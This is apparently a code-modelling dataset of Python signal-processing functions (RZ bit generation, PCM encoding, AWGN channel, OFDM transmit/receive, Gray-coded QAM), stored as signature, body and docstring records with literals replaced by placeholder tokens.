{"signature": "def RZ_bits(N_bits,Ns,pulse='<STR_LIT>',alpha = <NUM_LIT>,M=<NUM_LIT:6>):", "body": "data = np.random.randint(<NUM_LIT:0>,<NUM_LIT:2>,N_bits) <EOL>x = np.hstack((data.reshape(N_bits,<NUM_LIT:1>),np.zeros((N_bits,int(Ns)-<NUM_LIT:1>))))<EOL>x =x.flatten()<EOL>if pulse.lower() == '<STR_LIT>':<EOL><INDENT>b = np.ones(int(Ns))<EOL><DEDENT>elif pulse.lower() == '<STR_LIT>':<EOL><INDENT>b = rc_imp(Ns,alpha,M)<EOL><DEDENT>elif pulse.lower() == '<STR_LIT:src>':<EOL><INDENT>b = sqrt_rc_imp(Ns,alpha,M)<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>x = signal.lfilter(b,<NUM_LIT:1>,x)<EOL>return x,b/float(Ns),data<EOL>", "docstring": "Generate return-to-zero (RZ) data bits with pulse shaping.\n\nA baseband digital data signal using +/-1 amplitude signal values\nand including pulse shaping.\n\nParameters\n----------\nN_bits : number of RZ {0,1} data bits to produce\nNs : the number of samples per bit,\npulse_type : 'rect' , 'rc', 'src' (default 'rect')\nalpha : excess bandwidth factor(default 0.25)\nM : single sided pulse duration (default = 6) \n\nReturns\n-------\nx : ndarray of the RZ signal values\nb : ndarray of the pulse shape\ndata : ndarray of the underlying data bits\n\nNotes\n-----\nPulse shapes include 'rect' (rectangular), 'rc' (raised cosine), \n'src' (root raised cosine). The actual pulse length is 2*M+1 samples.\nThis function is used by BPSK_tx in the Case Study article.\n\nExamples\n--------\n>>> import matplotlib.pyplot as plt\n>>> from numpy import arange\n>>> from sk_dsp_comm.digitalcom import RZ_bits\n>>> x,b,data = RZ_bits(100,10)\n>>> t = arange(len(x))\n>>> plt.plot(t,x)\n>>> plt.ylim([-0.01, 1.01])\n>>> plt.show()", "id": "f14912:m17"}
{"signature": "def my_psd(x,NFFT=<NUM_LIT:2>**<NUM_LIT:10>,Fs=<NUM_LIT:1>):", "body": "Px,f = pylab.mlab.psd(x,NFFT,Fs)<EOL>return Px.flatten(), f<EOL>", "docstring": "A local version of NumPy's PSD function that returns the plot arrays.\n\nA mlab.psd wrapper function that returns two ndarrays;\nmakes no attempt to auto plot anything.\n\nParameters\n----------\nx : ndarray input signal\nNFFT : a power of two, e.g., 2**10 = 1024\nFs : the sampling rate in Hz\n\nReturns\n-------\nPx : ndarray of the power spectrum estimate\nf : ndarray of frequency values\n\nNotes\n-----\nThis function makes it easier to overlay spectrum plots because\nyou have better control over the axis scaling than when using psd()\nin the autoscale mode.\n\nExamples\n--------\n>>> import matplotlib.pyplot as plt\n>>> from sk_dsp_comm import digitalcom as dc\n>>> from numpy import log10\n>>> x,b, data = dc.NRZ_bits(10000,10)\n>>> Px,f = dc.my_psd(x,2**10,10)\n>>> plt.plot(f, 10*log10(Px))\n>>> plt.show()", "id": "f14912:m18"}
{"signature": "def time_delay(x,D,N=<NUM_LIT:4>):", "body": "if type(D) == float or type(D) == int:<EOL><INDENT>if int(np.fix(D)) < <NUM_LIT:1>:<EOL><INDENT>print('<STR_LIT>')<EOL>exit(<NUM_LIT:1>)<EOL><DEDENT>if int(np.fix(D)) > N-<NUM_LIT:2>:<EOL><INDENT>print('<STR_LIT>')<EOL>exit(<NUM_LIT:1>)<EOL><DEDENT>D_frac = D - np.fix(D)<EOL>Nd = int(np.fix(D))<EOL>b = np.zeros(Nd + <NUM_LIT:4>)<EOL>b[Nd] = -(D_frac-<NUM_LIT:1>)*(D_frac-<NUM_LIT:2>)*(D_frac-<NUM_LIT:3>)/<NUM_LIT><EOL>b[Nd + <NUM_LIT:1>] = D_frac*(D_frac-<NUM_LIT:2>)*(D_frac-<NUM_LIT:3>)/<NUM_LIT><EOL>b[Nd + <NUM_LIT:2>] = -D_frac*(D_frac-<NUM_LIT:1>)*(D_frac-<NUM_LIT:3>)/<NUM_LIT><EOL>b[Nd + <NUM_LIT:3>] = D_frac*(D_frac-<NUM_LIT:1>)*(D_frac-<NUM_LIT:2>)/<NUM_LIT><EOL>y = signal.lfilter(b,[<NUM_LIT:1>],x)<EOL><DEDENT>else:<EOL><INDENT>if np.fix(np.min(D)) < <NUM_LIT:1>:<EOL><INDENT>print('<STR_LIT>')<EOL>exit(<NUM_LIT:1>)<EOL><DEDENT>if np.fix(np.max(D)) > N-<NUM_LIT:2>:<EOL><INDENT>print('<STR_LIT>')<EOL>exit(<NUM_LIT:1>)<EOL><DEDENT>y = np.zeros(len(x))<EOL>X = np.zeros(N+<NUM_LIT:1>)<EOL>W3 = np.array([[<NUM_LIT:1.>/<NUM_LIT:6>, -<NUM_LIT:1.>/<NUM_LIT:2>, <NUM_LIT:1.>/<NUM_LIT:2>, -<NUM_LIT:1.>/<NUM_LIT:6>]])<EOL>W2 = np.array([[<NUM_LIT:0>, <NUM_LIT:1.>/<NUM_LIT:2>, -<NUM_LIT:1.>, <NUM_LIT:1.>/<NUM_LIT:2>]])<EOL>W1 = np.array([[-<NUM_LIT:1.>/<NUM_LIT:6>, <NUM_LIT:1.>, -<NUM_LIT:1.>/<NUM_LIT:2>, -<NUM_LIT:1.>/<NUM_LIT:3>]])<EOL>W0 = np.array([[<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1.>, <NUM_LIT:0>]])<EOL>for k in range(len(x)):<EOL><INDENT>Nd = int(np.fix(D[k]))<EOL>mu = <NUM_LIT:1> - (D[k]-np.fix(D[k]))<EOL>X = np.hstack((np.array(x[k]), X[:-<NUM_LIT:1>]))<EOL>v3 = np.dot(W3,np.array(X[Nd-<NUM_LIT:1>:Nd+<NUM_LIT:3>]).T)<EOL>v2 = np.dot(W2,np.array(X[Nd-<NUM_LIT:1>:Nd+<NUM_LIT:3>]).T)<EOL>v1 = np.dot(W1,np.array(X[Nd-<NUM_LIT:1>:Nd+<NUM_LIT:3>]).T)<EOL>v0 = np.dot(W0,np.array(X[Nd-<NUM_LIT:1>:Nd+<NUM_LIT:3>]).T)<EOL>y[k] = ((v3[<NUM_LIT:0>]*mu + v2[<NUM_LIT:0>])*mu + v1[<NUM_LIT:0>])*mu + v0[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>return y<EOL>", "docstring": "A time varying time delay which takes advantage of the Farrow structure\nfor cubic interpolation:\n\ny = time_delay(x,D,N = 3)\n\nNote that D is an array of the same length as the input signal x. This\nallows you to make the delay a function of time. If you want a constant \ndelay just use D*zeros(len(x)). The minimum delay allowable is one sample\nor D = 1.0. This is due to the causal system nature of the Farrow \nstructure.\n\nA founding paper on the subject of interpolators is: C. W. Farrow, \"A\nContinuously variable Digital Delay Element,\" Proceedings of the IEEE\nIntern. Symp. on Circuits Syst., pp. 2641-2645, June 1988.\n\nMark Wickert, February 2014", "id": "f14912:m19"}
{"signature": "def xcorr(x1,x2,Nlags):", "body": "K = <NUM_LIT:2>*(int(np.floor(len(x1)/<NUM_LIT:2>)))<EOL>X1 = fft.fft(x1[:K])<EOL>X2 = fft.fft(x2[:K])<EOL>E1 = sum(abs(x1[:K])**<NUM_LIT:2>)<EOL>E2 = sum(abs(x2[:K])**<NUM_LIT:2>)<EOL>r12 = np.fft.ifft(X1*np.conj(X2))/np.sqrt(E1*E2)<EOL>k = np.arange(K) - int(np.floor(K/<NUM_LIT:2>))<EOL>r12 = np.fft.fftshift(r12)<EOL>idx = np.nonzero(np.ravel(abs(k) <= Nlags))<EOL>return r12[idx], k[idx]<EOL>", "docstring": "r12, k = xcorr(x1,x2,Nlags), r12 and k are ndarray's\nCompute the energy normalized cross correlation between the sequences\nx1 and x2. If x1 = x2 the cross correlation is the autocorrelation.\nThe number of lags sets how many lags to return centered about zero", "id": "f14912:m20"}
{"signature": "def Q_fctn(x):", "body": "return <NUM_LIT:1.>/<NUM_LIT:2>*erfc(x/np.sqrt(<NUM_LIT>))<EOL>", "docstring": "Gaussian Q-function", "id": "f14912:m21"}
{"signature": "def PCM_encode(x,N_bits):", "body": "xq = np.int16(np.rint(x*<NUM_LIT:2>**(N_bits-<NUM_LIT:1>)))<EOL>x_bits = np.zeros((N_bits,len(xq)))<EOL>for k, xk in enumerate(xq):<EOL><INDENT>x_bits[:,k] = to_bin(xk,N_bits)<EOL><DEDENT>x_bits = np.reshape(x_bits,(<NUM_LIT:1>,len(x)*N_bits),'<STR_LIT:F>')<EOL>return np.int16(x_bits.flatten())<EOL>", "docstring": "Parameters\n----------\nx : signal samples to be PCM encoded\nN_bits ; bit precision of PCM samples\n\nReturns\n-------\nx_bits = encoded serial bit stream of 0/1 values. MSB first.\n\nMark Wickert, Mark 2015", "id": "f14912:m22"}
{"signature": "def to_bin(data, width):", "body": "data_str = bin(data & (<NUM_LIT:2>**width-<NUM_LIT:1>))[<NUM_LIT:2>:].zfill(width)<EOL>return [int(x) for x in tuple(data_str)]<EOL>", "docstring": "Convert an unsigned integer to a numpy binary array with the first\nelement the MSB and the last element the LSB.", "id": "f14912:m23"}
{"signature": "def from_bin(bin_array):", "body": "width = len(bin_array)<EOL>bin_wgts = <NUM_LIT:2>**np.arange(width-<NUM_LIT:1>,-<NUM_LIT:1>,-<NUM_LIT:1>)<EOL>return int(np.dot(bin_array,bin_wgts))<EOL>", "docstring": "Convert binary array back a nonnegative integer. The array length is \nthe bit width. The first input index holds the MSB and the last holds the LSB.", "id": "f14912:m24"}
{"signature": "def PCM_decode(x_bits,N_bits):", "body": "N_samples = len(x_bits)//N_bits<EOL>xrs_bits = x_bits.copy()<EOL>xrs_bits = np.reshape(xrs_bits,(N_bits,N_samples),'<STR_LIT:F>')<EOL>xq = np.zeros(N_samples)<EOL>w = <NUM_LIT:2>**np.arange(N_bits-<NUM_LIT:1>,-<NUM_LIT:1>,-<NUM_LIT:1>) <EOL>for k in range(N_samples):<EOL><INDENT>xq[k] = np.dot(xrs_bits[:,k],w) - xrs_bits[<NUM_LIT:0>,k]*<NUM_LIT:2>**N_bits<EOL><DEDENT>return xq/<NUM_LIT:2>**(N_bits-<NUM_LIT:1>)<EOL>", "docstring": "Parameters\n----------\nx_bits : serial bit stream of 0/1 values. The length of\n         x_bits must be a multiple of N_bits\nN_bits : bit precision of PCM samples\n\nReturns\n-------\n  xhat : decoded PCM signal samples\n\nMark Wickert, March 2015", "id": "f14912:m25"}
{"signature": "def AWGN_chan(x_bits,EBN0_dB):", "body": "x_bits = <NUM_LIT:2>*x_bits - <NUM_LIT:1> <EOL>var_noise = <NUM_LIT:10>**(-EBN0_dB/<NUM_LIT:10>)/<NUM_LIT:2><EOL>y_bits = x_bits + np.sqrt(var_noise)*np.random.randn(np.size(x_bits))<EOL>y_bits = np.sign(y_bits) <EOL>y_bits = (y_bits+<NUM_LIT:1>)/<NUM_LIT:2> <EOL>return y_bits<EOL>", "docstring": "Parameters\n----------\nx_bits : serial bit stream of 0/1 values.\nEBN0_dB : Energy per bit to noise power density ratio in dB of the serial bit stream sent through the AWGN channel. Frequently we equate EBN0 to SNR in link budget calculations.\n\nReturns\n-------\ny_bits : Received serial bit stream following hard decisions. This bit will have bit errors. To check the estimated bit error probability use :func:`BPSK_BEP` or simply:\n>>> Pe_est = sum(xor(x_bits,y_bits))/length(x_bits);\n\nMark Wickert, March 2015", "id": "f14912:m26"}
{"signature": "def mux_pilot_blocks(IQ_data, Np):", "body": "N_OFDM = IQ_data.shape[<NUM_LIT:0>]<EOL>Npb = N_OFDM // (Np - <NUM_LIT:1>)<EOL>N_OFDM_rem = N_OFDM - Npb * (Np - <NUM_LIT:1>)<EOL>Nf = IQ_data.shape[<NUM_LIT:1>]<EOL>IQ_datap = np.zeros((N_OFDM + Npb + <NUM_LIT:1>, Nf), dtype=np.complex128)<EOL>pilots = np.ones(Nf)  <EOL>for k in range(Npb):<EOL><INDENT>IQ_datap[Np * k:Np * (k + <NUM_LIT:1>), :] = np.vstack((pilots,<EOL>IQ_data[(Np - <NUM_LIT:1>) * k:(Np - <NUM_LIT:1>) * (k + <NUM_LIT:1>), :]))<EOL><DEDENT>IQ_datap[Np * Npb:Np * (Npb + N_OFDM_rem), :] = np.vstack((pilots,<EOL>IQ_data[(Np - <NUM_LIT:1>) * Npb:, :]))<EOL>return IQ_datap<EOL>", "docstring": "Parameters\n----------\nIQ_data : a 2D array of input QAM symbols with the columns\n           representing the NF carrier frequencies and each\n           row the QAM symbols used to form an OFDM symbol\nNp : the period of the pilot blocks; e.g., a pilot block is\n           inserted every Np OFDM symbols (Np-1 OFDM data symbols\n           of width Nf are inserted in between the pilot blocks.\n\nReturns\n-------\nIQ_datap : IQ_data with pilot blocks inserted\n\nSee Also\n--------\nOFDM_tx\n\nNotes\n-----\nA helper function called by :func:`OFDM_tx` that inserts pilot block for use\nin channel estimation when a delay spread channel is present.", "id": "f14912:m27"}
{"signature": "def OFDM_tx(IQ_data, Nf, N, Np=<NUM_LIT:0>, cp=False, Ncp=<NUM_LIT:0>):", "body": "N_symb = len(IQ_data)<EOL>N_OFDM = N_symb // Nf<EOL>IQ_data = IQ_data[:N_OFDM * Nf]<EOL>IQ_s2p = np.reshape(IQ_data, (N_OFDM, Nf))  <EOL>print(IQ_s2p.shape)<EOL>if Np > <NUM_LIT:0>:<EOL><INDENT>IQ_s2p = mux_pilot_blocks(IQ_s2p, Np)<EOL>N_OFDM = IQ_s2p.shape[<NUM_LIT:0>]<EOL>print(IQ_s2p.shape)<EOL><DEDENT>if cp:<EOL><INDENT>x_out = np.zeros(N_OFDM * (N + Ncp), dtype=np.complex128)<EOL><DEDENT>else:<EOL><INDENT>x_out = np.zeros(N_OFDM * N, dtype=np.complex128)<EOL><DEDENT>for k in range(N_OFDM):<EOL><INDENT>buff = np.zeros(N, dtype=np.complex128)<EOL>for n in range(-Nf // <NUM_LIT:2>, Nf // <NUM_LIT:2> + <NUM_LIT:1>):<EOL><INDENT>if n == <NUM_LIT:0>:  <EOL><INDENT>buff[<NUM_LIT:0>] = <NUM_LIT:0>  <EOL><DEDENT>elif n > <NUM_LIT:0>:  <EOL><INDENT>buff[n] = IQ_s2p[k, n - <NUM_LIT:1>]<EOL><DEDENT>else:  <EOL><INDENT>buff[N + n] = IQ_s2p[k, Nf + n]<EOL><DEDENT><DEDENT>if cp:<EOL><INDENT>x_out_buff = fft.ifft(buff)<EOL>x_out[k * (N + Ncp):(k + <NUM_LIT:1>) * (N + Ncp)] = np.concatenate((x_out_buff[N - Ncp:],<EOL>x_out_buff))<EOL><DEDENT>else:<EOL><INDENT>x_out[k * N:(k + <NUM_LIT:1>) * N] = fft.ifft(buff)<EOL><DEDENT><DEDENT>return x_out<EOL>", "docstring": "Parameters\n----------\nIQ_data : +/-1, +/-3, etc complex QAM symbol sample inputs\nNf : number of filled carriers, must be even and Nf < N\nN : total number of carriers; generally a power 2, e.g., 64, 1024, etc\nNp : Period of pilot code blocks; 0 <=> no pilots\ncp : False/True <=> bypass cp insertion entirely if False\nNcp : the length of the cyclic prefix\n\nReturns\n-------\nx_out : complex baseband OFDM waveform output after P/S and CP insertion\n\nSee Also\n--------\nOFDM_rx\n\nExamples\n--------\n>>> import matplotlib.pyplot as plt\n>>> from sk_dsp_comm import digitalcom as dc\n>>> x1,b1,IQ_data1 = dc.QAM_bb(50000,1,'16qam')\n>>> x_out = dc.OFDM_tx(IQ_data1,32,64)\n>>> plt.psd(x_out,2**10,1);\n>>> plt.xlabel(r'Normalized Frequency ($\\omega/(2\\pi)=f/f_s$)')\n>>> plt.ylim([-40,0])\n>>> plt.xlim([-.5,.5])\n>>> plt.show()", "id": "f14912:m28"}
{"signature": "def chan_est_equalize(z, Np, alpha, Ht=None):", "body": "N_OFDM = z.shape[<NUM_LIT:0>]<EOL>Nf = z.shape[<NUM_LIT:1>]<EOL>Npb = N_OFDM // Np<EOL>N_part = N_OFDM - Npb * Np - <NUM_LIT:1><EOL>zz_out = np.zeros_like(z)<EOL>Hmatrix = np.zeros((N_OFDM, Nf), dtype=np.complex128)<EOL>k_fill = <NUM_LIT:0><EOL>k_pilot = <NUM_LIT:0><EOL>for k in range(N_OFDM):<EOL><INDENT>if np.mod(k, Np) == <NUM_LIT:0>:  <EOL><INDENT>if k == <NUM_LIT:0>:<EOL><INDENT>H = z[k, :]<EOL><DEDENT>else:<EOL><INDENT>H = alpha * H + (<NUM_LIT:1> - alpha) * z[k, :]<EOL><DEDENT>Hmatrix[k_pilot, :] = H<EOL>k_pilot += <NUM_LIT:1><EOL><DEDENT>else:  <EOL><INDENT>if isinstance(type(None), type(Ht)):<EOL><INDENT>zz_out[k_fill, :] = z[k, :] / H  <EOL><DEDENT>else:<EOL><INDENT>zz_out[k_fill, :] = z[k, :] / Ht  <EOL><DEDENT>k_fill += <NUM_LIT:1><EOL><DEDENT><DEDENT>zz_out = zz_out[:k_fill, :]  <EOL>Hmatrix = Hmatrix[:k_pilot, :]  <EOL>if k_pilot > <NUM_LIT:0>:  <EOL><INDENT>chan_idx = np.arange(<NUM_LIT:0>, Nf // <NUM_LIT:2>, <NUM_LIT:4>)<EOL>plt.subplot(<NUM_LIT>)<EOL>for i in chan_idx:<EOL><INDENT>plt.plot(np.abs(Hmatrix[:, i]))<EOL><DEDENT>plt.title('<STR_LIT>')<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.grid();<EOL>plt.subplot(<NUM_LIT>)<EOL>for i in chan_idx:<EOL><INDENT>plt.plot(np.angle(Hmatrix[:, i]))<EOL><DEDENT>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.grid();<EOL>plt.tight_layout()<EOL><DEDENT>return zz_out, H<EOL>", "docstring": "This is a helper function for :func:`OFDM_rx` to unpack pilot blocks from\nfrom the entire set of received OFDM symbols (the Nf of N filled\ncarriers only); then estimate the channel array H recursively,\nand finally apply H_hat to Y, i.e., X_hat = Y/H_hat\ncarrier-by-carrier. Note if Np = -1, then H_hat = H, the true\nchannel.\n\nParameters\n----------\nz : Input N_OFDM x Nf 2D array containing pilot blocks and OFDM data symbols.\nNp : The pilot block period; if -1 use the known channel impulse response input to ht.\nalpha : The forgetting factor used to recursively estimate H_hat\nHt : The theoretical channel frquency response to allow ideal equalization provided Ncp is adequate.\n\nReturns\n-------\nzz_out : The input z with the pilot blocks removed and one-tap equalization applied to each of the Nf carriers.\nH : The channel estimate in the frequency domain; an array of length Nf; will return Ht if provided as an input.\n\nExamples\n--------\n>>> from sk_dsp_comm.digitalcom import chan_est_equalize\n>>> zz_out,H = chan_est_eq(z,Nf,Np,alpha,Ht=None)", "id": "f14912:m29"}
{"signature": "def OFDM_rx(x, Nf, N, Np=<NUM_LIT:0>, cp=False, Ncp=<NUM_LIT:0>, alpha=<NUM_LIT>, ht=None):", "body": "N_symb = len(x) // (N + Ncp)<EOL>y_out = np.zeros(N_symb * N, dtype=np.complex128)<EOL>for k in range(N_symb):<EOL><INDENT>if cp:<EOL><INDENT>buff = x[k * (N + Ncp) + Ncp:(k + <NUM_LIT:1>) * (N + Ncp)]<EOL><DEDENT>else:<EOL><INDENT>buff = x[k * N:(k + <NUM_LIT:1>) * N]<EOL><DEDENT>y_out[k * N:(k + <NUM_LIT:1>) * N] = fft.fft(buff)<EOL><DEDENT>z_out = np.reshape(y_out, (N_symb, N))<EOL>z_out = np.hstack((z_out[:, <NUM_LIT:1>:Nf // <NUM_LIT:2> + <NUM_LIT:1>], z_out[:, N - Nf // <NUM_LIT:2>:N]))<EOL>if Np > <NUM_LIT:0>:<EOL><INDENT>if isinstance(type(None), type(ht)):<EOL><INDENT>z_out, H = chan_est_equalize(z_out, Np, alpha)<EOL><DEDENT>else:<EOL><INDENT>Ht = fft.fft(ht, N)<EOL>Hht = np.hstack((Ht[<NUM_LIT:1>:Nf // <NUM_LIT:2> + <NUM_LIT:1>], Ht[N - Nf // <NUM_LIT:2>:]))<EOL>z_out, H = chan_est_equalize(z_out, Np, alpha, Hht)<EOL><DEDENT><DEDENT>elif Np == -<NUM_LIT:1>:  <EOL><INDENT>Ht = fft.fft(ht, N)<EOL>H = np.hstack((Ht[<NUM_LIT:1>:Nf // <NUM_LIT:2> + <NUM_LIT:1>], Ht[N - Nf // <NUM_LIT:2>:]))<EOL>for k in range(N_symb):<EOL><INDENT>z_out[k, :] /= H<EOL><DEDENT><DEDENT>else:<EOL><INDENT>H = np.ones(Nf)<EOL><DEDENT>return z_out.flatten(), H<EOL>", "docstring": "Parameters\n----------\nx : Received complex baseband OFDM signal\nNf : Number of filled carriers, must be even and Nf < N\nN : Total number of carriers; generally a power 2, e.g., 64, 1024, etc\nNp : Period of pilot code blocks; 0 <=> no pilots; -1 <=> use the ht impulse response input to equalize the OFDM symbols; note equalization still requires Ncp > 0 to work on a delay spread channel.\ncp : False/True <=> if False assume no CP is present\nNcp : The length of the cyclic prefix\nalpha : The filter forgetting factor in the channel estimator. Typically alpha is 0.9 to 0.99.\nnt : Input the known theoretical channel impulse response\n\nReturns\n-------\nz_out : Recovered complex baseband QAM symbols as a serial stream; as appropriate channel estimation has been applied.\nH : channel estimate (in the frequency domain at each subcarrier)\n\nSee Also\n--------\nOFDM_tx\n\nExamples\n--------\n\n>>> import matplotlib.pyplot as plt\n>>> from sk_dsp_comm import digitalcom as dc\n>>> from scipy import signal\n>>> from numpy import array\n>>> hc = array([1.0, 0.1, -0.05, 0.15, 0.2, 0.05]) # impulse response spanning five symbols\n>>> # Quick example using the above channel with no cyclic prefix\n>>> x1,b1,IQ_data1 = dc.QAM_bb(50000,1,'16qam')\n>>> x_out = dc.OFDM_tx(IQ_data1,32,64,0,True,0)\n>>> c_out = signal.lfilter(hc,1,x_out) # Apply channel distortion\n>>> r_out = dc.cpx_AWGN(c_out,100,64/32) # Es/N0 = 100 dB\n>>> z_out,H = dc.OFDM_rx(r_out,32,64,-1,True,0,alpha=0.95,ht=hc)\n>>> plt.plot(z_out[200:].real,z_out[200:].imag,'.')\n>>> plt.xlabel('In-Phase')\n>>> plt.ylabel('Quadrature')\n>>> plt.axis('equal')\n>>> plt.grid()\n>>> plt.show()\n\nAnother example with noise using a 10 symbol cyclic prefix and channel estimation:\n\n>>> x_out = dc.OFDM_tx(IQ_data1,32,64,100,True,10)\n>>> c_out = signal.lfilter(hc,1,x_out) # Apply channel distortion\n>>> r_out = dc.cpx_AWGN(c_out,25,64/32) # Es/N0 = 25 dB\n>>> z_out,H = dc.OFDM_rx(r_out,32,64,100,True,10,alpha=0.95,ht=hc);\n>>> plt.figure() # if channel estimation is turned on need this\n>>> plt.plot(z_out[-2000:].real,z_out[-2000:].imag,'.') # allow settling time\n>>> plt.xlabel('In-Phase')\n>>> plt.ylabel('Quadrature')\n>>> plt.axis('equal')\n>>> plt.grid()\n>>> plt.show()", "id": "f14912:m30"}
{"signature": "def bin2gray(d_word,b_width):", "body": "bits_in = to_bin(d_word,b_width)<EOL>bits_out = np.zeros(b_width,dtype=np.int)<EOL>for k, bit_k in enumerate(bits_in):<EOL><INDENT>if k > <NUM_LIT:0>:<EOL><INDENT>bits_out[k] = bit_k^bits_in[k-<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>bits_out[k] = bit_k<EOL><DEDENT><DEDENT>return from_bin(bits_out)<EOL>", "docstring": "Convert integer bit words to gray encoded binary words via\nGray coding starting from the MSB to the LSB\n\nMark Wickert November 2018", "id": "f14912:m31"}
{"signature": "def gray2bin(d_word,b_width):", "body": "bits_in = to_bin(d_word,b_width)<EOL>bits_out = np.zeros(b_width,dtype=np.int)<EOL>for k, bit_k in enumerate(bits_in):<EOL><INDENT>if k > <NUM_LIT:0>:<EOL><INDENT>bits_out[k] = bit_k^bits_out[k-<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>bits_out[k] = bit_k<EOL><DEDENT><DEDENT>return from_bin(bits_out)<EOL>", "docstring": "Convert gray encoded binary words to integer bit words via\nGray decoding starting from the MSB to the LSB\n\nMark Wickert November 2018", "id": "f14912:m32"}
{"signature": "def QAM_gray_encode_bb(N_symb,Ns,M=<NUM_LIT:4>,pulse='<STR_LIT>',alpha=<NUM_LIT>,ext_data=None):", "body": "<EOL>bin2gray1 = [<NUM_LIT:0>,<NUM_LIT:1>]<EOL>bin2gray2 = [<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:3>,<NUM_LIT:2>]<EOL>bin2gray3 = [<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:3>,<NUM_LIT:2>,<NUM_LIT:7>,<NUM_LIT:6>,<NUM_LIT:4>,<NUM_LIT:5>] <EOL>bin2gray4 = [<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:3>,<NUM_LIT:2>,<NUM_LIT:7>,<NUM_LIT:6>,<NUM_LIT:4>,<NUM_LIT:5>,<NUM_LIT:15>,<NUM_LIT>,<NUM_LIT:12>,<NUM_LIT>,<NUM_LIT:8>,<NUM_LIT:9>,<NUM_LIT:11>,<NUM_LIT:10>]<EOL>x_m = np.sqrt(M)-<NUM_LIT:1><EOL>if N_symb == None:<EOL><INDENT>N_symb = int(np.floor(len(ext_data)/np.log2(M)))<EOL>data = ext_data[:N_symb*int(np.log2(M))]<EOL><DEDENT>else:<EOL><INDENT>data = np.random.randint(<NUM_LIT:0>,<NUM_LIT:2>,size=int(np.log2(M))*N_symb)<EOL><DEDENT>x_IQ = np.zeros(N_symb,dtype=np.complex128)<EOL>N_word = int(np.log2(M)/<NUM_LIT:2>)<EOL>w = <NUM_LIT:2>**np.arange(N_word-<NUM_LIT:1>,-<NUM_LIT:1>,-<NUM_LIT:1>)<EOL>if M == <NUM_LIT:2>: <EOL><INDENT>x_IQ = <NUM_LIT:2>*data - <NUM_LIT:1><EOL>x_m = <NUM_LIT:1><EOL><DEDENT>elif M == <NUM_LIT:4>: <EOL><INDENT>for k in range(N_symb):<EOL><INDENT>wordI = data[<NUM_LIT:2>*k*N_word:(<NUM_LIT:2>*k+<NUM_LIT:1>)*N_word]<EOL>wordQ = data[<NUM_LIT:2>*k*N_word+N_word:(<NUM_LIT:2>*k+<NUM_LIT:1>)*N_word+N_word]<EOL>x_IQ[k] = (<NUM_LIT:2>*bin2gray1[np.dot(wordI,w)] - x_m) +<NUM_LIT>*(<NUM_LIT:2>*bin2gray1[np.dot(wordQ,w)] - x_m)<EOL><DEDENT><DEDENT>elif M == <NUM_LIT:16>:<EOL><INDENT>for k in range(N_symb):<EOL><INDENT>wordI = data[<NUM_LIT:2>*k*N_word:(<NUM_LIT:2>*k+<NUM_LIT:1>)*N_word]<EOL>wordQ = data[<NUM_LIT:2>*k*N_word+N_word:(<NUM_LIT:2>*k+<NUM_LIT:1>)*N_word+N_word]<EOL>x_IQ[k] = (<NUM_LIT:2>*bin2gray2[np.dot(wordI,w)] - x_m) +<NUM_LIT>*(<NUM_LIT:2>*bin2gray2[np.dot(wordQ,w)] - x_m)<EOL><DEDENT><DEDENT>elif M == <NUM_LIT:64>:<EOL><INDENT>for k in range(N_symb):<EOL><INDENT>wordI = data[<NUM_LIT:2>*k*N_word:(<NUM_LIT:2>*k+<NUM_LIT:1>)*N_word]<EOL>wordQ = data[<NUM_LIT:2>*k*N_word+N_word:(<NUM_LIT:2>*k+<NUM_LIT:1>)*N_word+N_word]<EOL>x_IQ[k] = (<NUM_LIT:2>*bin2gray3[np.dot(wordI,w)] - x_m) +<NUM_LIT>*(<NUM_LIT:2>*bin2gray3[np.dot(wordQ,w)] - x_m)<EOL><DEDENT><DEDENT>elif M == <NUM_LIT>:<EOL><INDENT>for k in range(N_symb):<EOL><INDENT>wordI = data[<NUM_LIT:2>*k*N_word:(<NUM_LIT:2>*k+<NUM_LIT:1>)*N_word]<EOL>wordQ = data[<NUM_LIT:2>*k*N_word+N_word:(<NUM_LIT:2>*k+<NUM_LIT:1>)*N_word+N_word]<EOL>x_IQ[k] = (<NUM_LIT:2>*bin2gray4[np.dot(wordI,w)] - x_m) +<NUM_LIT>*(<NUM_LIT:2>*bin2gray4[np.dot(wordQ,w)] - x_m)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')        <EOL><DEDENT>if Ns > <NUM_LIT:1>:<EOL><INDENT>if pulse.lower() == '<STR_LIT:src>':<EOL><INDENT>b = sqrt_rc_imp(Ns,alpha,<NUM_LIT:6>)<EOL><DEDENT>elif pulse.lower() == '<STR_LIT>':<EOL><INDENT>b = rc_imp(Ns,alpha,<NUM_LIT:6>)    <EOL><DEDENT>elif pulse.lower() == '<STR_LIT>':<EOL><INDENT>b = np.ones(int(Ns)) <EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>x = signal.lfilter(b,<NUM_LIT:1>,upsample(x_IQ,Ns))<EOL>b = b/sum(b)<EOL>return x/x_m, b, data<EOL><DEDENT>else:<EOL><INDENT>return x_IQ/x_m, <NUM_LIT:1>, data<EOL><DEDENT>", "docstring": "QAM_gray_bb: A gray code mapped QAM complex baseband transmitter \nx,b,tx_data = QAM_gray_bb(K,Ns,M)\n\nParameters\n----------\nN_symb : The number of symbols to process\nNs : Number of samples per symbol\nM : Modulation order: 2, 4, 16, 64, 256 QAM. Note 2 <=> BPSK, 4 <=> QPSK\nalpha : Square root raised cosine excess bandwidth factor.\n        For DOCSIS alpha = 0.12 to 0.18. In general alpha can range over 0 < alpha < 1.\npulse : 'rect', 'src', or 'rc'\n\nReturns\n-------\nx : Complex baseband digital modulation\nb : Transmitter shaping filter, rectangle or SRC\ntx_data : xI+1j*xQ = inphase symbol sequence + 1j*quadrature symbol sequence\n\nSee Also\n--------\nQAM_gray_decode\n\nExamples\n--------", "id": "f14912:m33"}
